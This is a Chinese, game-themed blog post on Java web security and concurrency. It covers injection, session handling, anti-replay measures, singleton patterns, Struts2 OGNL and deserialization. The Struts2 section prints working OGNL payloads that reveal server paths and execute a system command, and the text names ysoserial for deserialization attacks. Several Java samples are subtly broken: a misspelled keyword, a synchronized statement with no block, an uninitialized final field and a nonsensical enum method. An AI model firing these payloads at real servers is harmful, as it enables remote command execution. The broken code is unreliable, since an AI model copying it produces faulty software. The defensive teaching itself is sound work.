Java咖啡馆

First Post:

Last Update:

安全无止境,继续前进吧!

不得不说,凯尔希医生对知识的涉猎范围还挺广的,
除了丰富的医学知识储备和医疗经验,还有安全相关的知识……
嘎呜 ~ 我也要向她一样能够独当一面,才能带领罗德岛继续前行啊!
博士 ~ 先来点咖啡吧!
–by Mon3tr

这个小板块可能更偏向信息系统开发技术,主要讲述 Java Web 开发过程中的常见安全问题及相关原理,并且会提供解决这些问题的思路和方法

安全传递

身为博士开发者,CRUD大法是必备的基础开发技术,一切的CRUD都离不开基于用户、角色的操作;
不过,你真的有注意到那些潜在的安全问题吗?

潜在问题

  1. SQL注入
    黑客通过输入不合法的登录数据构造并传递恶意SQL语句,如果没有设置校验方法对登录数据进行拦截过滤,非法的SQL操作将被执行,会造成数据泄露、数据篡改等风险;

  2. 中间人攻击
    所有的网络请求都有可能被拦截。若存在中间人监听,密钥将会被截获(无论是否加密),黑客可以利用截获的密钥实施重放攻击以实现身份冒用(尤其是管理员账户);
    可以说,所有的前端校验、前端加密、临时会话(Cookie、Session、token…)等都是不可靠的,不可依赖它们进行身份校验!
    BurpSuite 真是太好用了

  3. 会话窃取
    用户完成身份认证后,系统会向用户创建临时会话以进行更多服务操作,常见方式有:Cookie、Session、Jwt Tokwn;
    (1) Cookie
    Cookie 能够保存用户登录态,然而它是存储在用户端的,用户完全可以随意获取并篡改其中的信息,所以一般不用它作为会话凭据,只用来临时保留浏览器登录信息;
    (2) Session
    相比于 Cookie,Session 存储在服务端,相对安全,但它继承了 Cookie 的缺陷,而且在集群环境下可能会出现登录态不同步的问题;
    (3) Jwt Token
    Jwt Token(令牌)使用了加密技术保存用户的账户信息、数字签名和过期时间,解决了 Cookie 和 Session 的安全问题,是相对安全的主流选择;
    但是Jwt Token 本身是无状态的,如果服务端没有对令牌的算法等信息进行校验,也会被黑客拿来冒用身份;
    现代企业一般会采用 Session + Jwt Token 结合的身份认证方式,两者优势互补,既保证了安全性,又可以借助 Session 和缓存技术实现 Jwt Token 黑名单的功能

应对策略

  1. 采用 RBAC 权限模型
    访问控制策略有很多种,比较常用的是RBAC权限模型(基于角色的访问控制策略);
    通过五张数据库表(用户表、角色表、菜单表、用户角色关联表、角色菜单关联表)实现对角色授权、赋予用户不同角色的权限控制过程;
    这是数据库设计阶段的任务,如果是改造现有项目会比较麻烦

  2. 设置字符过滤
    对用户输入的信息进行字符校验。对于不同信息可以采用分级过滤策略:
    (1) 对于用户名等涉及到构造查询条件的敏感用户信息,实行强校验(仅放行数字、字母、下划线等常规字符,防注入、截断、RCE);
    (2) 对于个人简介等不被用于构造查询条件的一般用户信息,实行弱校验(额外放行汉字以及部分特殊字符,同时要考虑内容合规性);

  3. 信息保密
    (1) 数据加密
    服务端将所有敏感信息(密码、手机号等)先加密再存入数据库(密码仅存密文摘要,推荐使用 Argon2 慢哈希摘要算法),后续调用只要判断密文摘要是否一致即可;
    请注意:手机号绝对不可以直接采用摘要算法摘要处理,因为手机号是纯数字信息且长度和取值范围固定,很容易通过碰撞获取到,应先加密再摘要
    (2) 信息脱敏
    服务端向前端页面展示信息时,使用视图(VO)过滤敏感信息;后端传输查询结果时对敏感信息作脱敏处理;
    (3) 传输保护
    对于采用公钥密码机制的通信系统,通信双方传递消息之前,使用对方的公钥加密数据,收到数据后使用自己的私钥解密;

  4. 完整性校验
    采用对称加密算法(如 AES),通信双方事先约定密钥,利用该密钥加密请求信息,再对密文进行摘要生成消息认证码;
    用户将密文和认证码发送到服务端,服务端使用相同的摘要算法生成校验码,与用户发送的认证码进行比对,两者一致即可证明消息未被篡改;

  5. 身份认证
    确认消息来源,防伪造,防抵赖:
    (1) 基于公钥密码体系的单向认证
    通信双方采用非对称加密算法(如 RSA、ECC等)各自生成公钥与私钥,用户使用私钥对请求信息(或摘要)签名后发送给服务器,服务器收到请求信息后使用对方公钥验签,验证通过后与用户建立临时会话;
    (2) 基于挑战响应的单向 / 双向认证
    通信双方事先约定一把共享密钥,客户端发起请求时,服务端向客户端发送一个随机数,客户端使用密钥加密随机数后发送给服务端,服务端以相同算法和密钥验算,两次计算结果一致则通过;
    (3) 设置验证码
    服务器向客户端发送验证码图片、行为验证弹窗等信息,客户端收集用户输入验证码或者行为轨迹后发送到服务器验证,由此限制爬虫机器人执行的操作;
    (4) 验证会话凭据
    严格校验用户传递的 Jwt Token;
    (5) 密钥对验证
    对于一些高安全需求的场景,在现有登录验证的基础上,服务端需要为每个用户发放两把密钥(accessKey, secretKey)以验证身份,其中 secretKey 仅用于构造签名,绝对不可以在网络上传输;

  6. 防重放
    从开发角度看,防御重放攻击主要有两种方式:
    (1) 添加一次性Token
    每次请求在发送时附带一个随机Token,值要足够大,用后需销毁(用过的 Token 存入缓存,在 Token 缓存过期之前不再接受相同的 Token);
    (2) 添加时间戳
    每次请求在发送时附带时间戳,后端需要对请求进行有效期验证,超时拒收;
    以上两种方法配合使用,在防重放的同时能够缓解后端缓存压力

  7. 慎重使用网络代理
    在没有刚需的情况下,不要随意使用网络代理;即使一定要用,在没有确认代理方可靠之前,也不要执行任何涉及个人隐私的敏感操作,否则容易导致信息泄露、重放攻击等不良后果;
    此外,有些网络代理商会对数据流量进行污染(如投放诈骗广告、钓鱼链接等);

大厂经验参考

  1. 以腾讯云为例:
    服务器向用户发放密钥对 <SecretId, SecretKey> 用于登录云服务器等,其中 SecretKey 仅创建时向用户展示一次,后续无法再次查看;
    用户必须妥善保管,如果忘记、意外丢失或泄露,就必须销毁整个密钥对并重新创建;

  2. 以bilibili为例:
    (1) 前端向后端服务器请求获取一次性token、挑战响应码challenge、公钥publicKey、模数modulus(后端生成这些参数后发送到前端,同步存入缓存并设置有效期);
    (2) 前端要求用户进行人机验证,验证通过后产生32位校验码 validate(轨迹 + challenge + 私钥privateKey(浏览器内置)→ HMAC-SHA256 → Hex)和安全码 seccode(validate + “|jordan”);
    (3) 前端使用 privateKey 对 challenge 签名,将用户密码与 token、challenge签名、seccode 拼接形成明文,让浏览器通过 WebCrypto RSA-OAEP 算法使用 publicKey 和 modulus 加密明文;
    (4) 将得到的密文、签名信息与请求获取到的验证信息打包发送给服务器;
    (5) 服务器验证有效性并使用私钥解密密文提取有效信息,验证 challenge 签名,验证通过后执行登录操作建立临时会话,同时废弃之前的所有一次性验证信息;
    以下为登录请求头携带的一次性安全相关信息:

    1
    2
    3
    4
    5
    6
    7
    8
    source=main_web
    &username=RngAd33
    &password=iaUSXHkiwgSzLSC3u2GoSGnPpe7hvwhEA2DxAJtl6m81%2BBYoKlW1IgnjSNH1aNo3lFNgFNMX2w4EHvujq6aoDT3uLsvm%2BrTkWhsHbyIL2LWfHiGBhZknq61ALrhqmPi0PjyFpbRWAgbrjb1x4StWWGwqfJ9g0bG4rag%2BfJCHLFI%3D
    &go_url=https:%2F%2Fspace.bilibili.com
    &token=534891539fb74a4bbd3807db1ed58659
    &validate=9258a5061d99d23da7b757c52b2c4b27
    &seccode=9258a5061d99d23da7b757c52b2c4b27%7Cjordan
    &challenge=1f6ec7743656661e18b1b490987b7243

Java并发编程

身为博士开发者,你对Java并发编程应该不会陌生;
Java的高并发依赖于对线程的调教,能够更大程度地发挥CPU的效能,提高系统性能和吞吐量,适应处理海量数据和请求的需求;
推荐一本《Java并发编程之美》,可以啃一啃,对需要处理系统高并发的开发者有不小的帮助。

内存可见性问题

要研究这个问题,需要先了解多核CPU的系统架构和Java工作内存模型:

为了缓解CPU和内存之间的读写速度差,通常会在两者之间设置高速缓存(Cache);
在多核CPU系统架构中,每一个内核都有自己的控制器、运算器和一级缓存,所有内核共享一个主内存(有些架构存在共享二级缓存);
一般情况下,当某个线程需要处理共享变量时,会先从主内存将共享变量复制到自己的工作缓存中,再对变量进行处理,处理完毕后将变量的值刷新到主内存中;
当两个及以上个线程同时处理一个共享变量,且两级缓存均为空时,缓存的存在将会导致不同线程之间共享变量内存不可见(伪共享问题);

synchronized 关键字

synchronized 是Java内置的一种原子锁,每个对象都可以将其当作同步锁使用;
此外,它还可以用来保证多操作的原子性,即所有操作要么都执行,要么都不执行(类似于数据库的事务);

1
2
3
4
5
6
7
8
9
10
11
12
public class Entity {

private long value;

public synchronised long getValue() {
return value;
}

public synchronised void setValue(long value) {
this.value = value;
}
}

volatile 关键字

与 synchronize 不同,volatile 是一种弱形式的同步关键字,它可以让线程在处理变量时立即把值刷新到主内存中,从而确保变量的更新对其它线程立即可见;
但是 volatile 只能保证单次操作的原子性,不能保证改————写等多轮操作的原子性;

1
2
3
4
5
6
7
8
9
10
11
12
public class Entity {

private volatile long value;

public long getValue() {
return value;
}

public void setValue(long value) {
this.value = value;
}
}

CAS操作

非阻塞式原子性操作,Java原子类的底层依赖,能够避免传统锁机制导致的上下文切换开销;

线程安全

数据库系统一般支持多用户同时访问数据库。如果有多个线程同时读写同一个共享资源且没有任何同步措施时(主要是更新操作),可能会发生数据存储不一致的问题,
其中包括修改丢失、不可重复读、读取到脏数据,或者是其它不可预见的bug;

1
2
3
4
5
6
7
8
9
10
11
12
public class Entity {

private long value;

public long getValue() { // 读操作不会改变数据,不存在线程安全问题
return value;
}

public void setValue(long value) { // 线程不安全!
this.value = value;
}
}

单例模式

经典设计模式之一,用于保证一个线程只有一个实例化对象可以调用;

  1. 基于同步机制的懒汉式单例模式
    实现了延迟初始化(懒加载),即项目启动时不加载,在首次使用时才创建实例,另外同步机制能够保证线程安全,
    但每次调用 getEntity() 方法时都需要加锁,反复地加锁开锁会导致性能下降;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public class Entity {

    private static Entity entity;

    private Entity() {} // 私有构造函数,防止外部实例化破坏单例模式

    public static synchronized Entity getEntity() {
    if (entity == null){
    entity = new Entity();
    }
    return entity;
    }
    }
  2. 基于双检锁机制的懒汉式单例模式
    相比于同步机制,双检锁机制避免了不必要的锁开销,是懒汉式单例模式的推荐实现方式;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public class Entity {

    private static volatile Entity entity;

    private Entity() {} // 私有构造函数,防止外部实例化破坏单例模式

    public static Entity getEntity() {
    if (entity == null) { // 一检
    synchronized (Entity.class) // 加锁
    if (entity == null) entity = new Entity(); // 二检
    }
    return entity;
    }
    }
  3. 饿汉式单例模式
    在类加载时就初始化实例,不存在线程安全问题,实现起来也很简单,
    但缺点是实例在类加载时就会被创建,即使没有使用到也会占用资源,可能会产生额外的开销;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public class Entity {

    private static final volatile Entity entity;

    private Entity() {} // 私有构造函数,防止外部实例化破坏单例模式

    public static Entity getEntity() {
    return entity;
    }
    }
  4. 静态内部类
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public class Entity {

    private static class EntityHolder {
    private static final Entity ENTITY = new Entity();
    }

    public static Entity getEntity() {
    return EntityHolder.ENTITY;
    }
    }
  5. 枚举类
    利用Java枚举的特性,确保只有一个实例存在;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public enum Singleton {

    FLAG("flag{************}");

    private String flag;

    public void getFlag() {
    this.flag = flag;
    }
    }

上下文切换

CPU的资源分配采用时间片轮转策略;当某线程的时间片用完时,该线程会转换成就绪状态,将资源让给其它线程;
在切换线程上下文时,需要保存线程的执行现场(快照),恢复执行时读取快照恢复现场;
然而线程上下文切换时非常费时耗资源的,在日常开发中要尽可能避免上下文切换;

线程死锁

两个及以上的线程因为争夺资源而造成的相互等待现象,如果没有外力作用就会永远运行下去,造成程序卡死;
(死锁的出现本质上就是资源分配不当、进程推进顺序不当导致的问题)

产生条件

  1. 互斥条件
    某个线程对获取到的资源添加互斥锁,不允许其它线程同时占用,其它线程只能等待;

  2. 不可剥夺条件
    某个线程获取到的资源只能由当前占用的线程释放,使用期间不可被其它线程剥夺;

  3. *请求并持有条件
    某个线程已经获取到了资源却又申请获取其它资源,而其它资源已被其它线程占用;

  4. *环路等待条件
    死锁发生时,必然存在一个线程————资源死循环,即线程和资源之间相互等待(类似于 Spring 框架的循环依赖);

当以上四个条件同时出现时,死锁就产生了

开锁方法

前两个产生条件无法避免,因为它们保证了线程的特性;当后两个条件同时出现时,破坏掉至少一个条件就可以打破死锁,如:手动强制剥夺资源、重启系统等;

守护线程与用户进程

Java线程分为守护线程daemon和用户线程user两种线程,main() 函数所在线程属于 user 线程;
两者之间的不同点在于:如果 user 线程没有全部结束,JVM 就不会退出,而 daemon 线程是否结束不影响JVM退出;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 创建守护线程
public class DaemonThread {

public static void main(String[] args) {
Thread daemonThread = new Thread(new Runnable() {
public void run() {
// 业务代码
}
});

daemonThread.setDaemon(true); // 设置为守护线程
daemonThread.start(); // 开启线程
}
}

ThreadLocal

由JDK提供的线程本地变量类;
每一个访问 ThreadLocal 变量的线程都会将变量复制到自己的本地内存,实际操作的是存在本地内存中的变量副本,避免了线程安全问题;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class ThreadLocalDemo {
// 创建一个 ThreadLocal 实例,存储 String 类型
private static final ThreadLocal<String> userContext = new ThreadLocal<>();

public static void main(String[] args) {
Runnable task = () -> {
String threadName = Thread.currentThread().getName();

// 1. set: 设置当前线程的专属数据
userContext.set("User-" + threadName);

try {
// 模拟业务逻辑
System.out.println(threadName + " 正在处理: " + userContext.get());
Thread.sleep(100);
System.out.println(threadName + " 再次获取: " + userContext.get());
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
// 2. remove: 【关键】清理数据,防止内存泄漏
userContext.remove();

// 验证清理后是否为 null
System.out.println(threadName + " 清理后获取: " + userContext.get());
}
};

new Thread(task, "Thread-A").start();
new Thread(task, "Thread-B").start();
}
}

输出结果:
Thread-A 正在处理: User-Thread-A
Thread-B 正在处理: User-Thread-B
Thread-A 再次获取: User-Thread-A
Thread-B 再次获取: User-Thread-B
Thread-A 清理后获取: null
Thread-B 清理后获取: null

Struts2框架漏洞

Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架,但因其复杂的配置、较低的开发效率和成堆的安全漏洞逐渐被市场淘汰,如今还剩一些老旧项目仍在采用,对于开发者而言几乎没有学习价值;

OGNL表达式

‘%’在标志的属性为字符串类型时,计算OGNL表达式%{}中的值;
‘#’访问非根对象属性,因为Struts2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用;
‘$’在Struts2配置文件中,引用OGNL表达式;

一些常用功能表达式:

1
2
3
4
5
6
7
8
// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Java反序列化漏洞

Java原生的序列化/反序列化机制存在较大安全缺陷:
它允许类的实例被转换为字节序列,然后在反序列化时,攻击者可能会篡改该类的序列化数据,利用精心构造的字节序列来触发某些类中的危险方法,从而执行恶意代码;

漏洞利用

ysoserial.jar会是你的得力助手;

防护策略

  1. 使用其它更安全的序列化库,如 Jackson、Gson、Kryo 等(阿里云的FastJson性能高,但也存在安全问题;Kryo线程不安全,需要使用ThreadLocal单例化,且不能提前注册相关类到IOC容器);
  2. 严格控制反序列化的类,防止不安全的类被反序列化;
  3. 对输入的数据进行校验;
  4. 及时更新JDK和相关依赖库,进行代码安全审计和测试;

<- To be continued _(:3 ∠)__

  く__,.ヘヽ.        /  ,ー、 〉
           \ ', !-─‐-i  /  /´
           /`ー'       L//`ヽ、
         /   /,   /|   ,   ,       ',
       イ   / /-‐/  i  L_ ハ ヽ!   i
        レ ヘ 7イ`ト   レ'ァ-ト、!ハ|   |
          !,/7 '0'     ´0iソ|    |
          |.从"    _     ,,,, / |./    |
          レ'| i>.、,,__  _,.イ /   .i   |
            レ'| | / k_7_/レ'ヽ,  ハ.  |
              | |/i 〈|/   i  ,.ヘ |  i  |
             .|/ /  i:    ヘ!    \  |
              kヽ>、ハ    _,.ヘ、    /、!
              !'〈//`T´', \ `'7'ーr'
              レ'ヽL__|___i,___,ンレ|ノ
                  ト-,/  |___./
                  'ー'    !_,.:

QUghIFRoYXQncyBmb3IgS2FsISEKV2FpdCwgd2hvIGFyZSB5b3U/CldobydzIHRoaXMgc2Fzc3kgbG9zdCBicmF0PwpXaHkgZG8geW91IGxpa2UgS2FsPyBObyBCbGF6ZSEhPwpBbnl3YXkhIENvbWUgd2l0aCBtZSEgSGVscCBtZSBmaW5kIFJlZCE=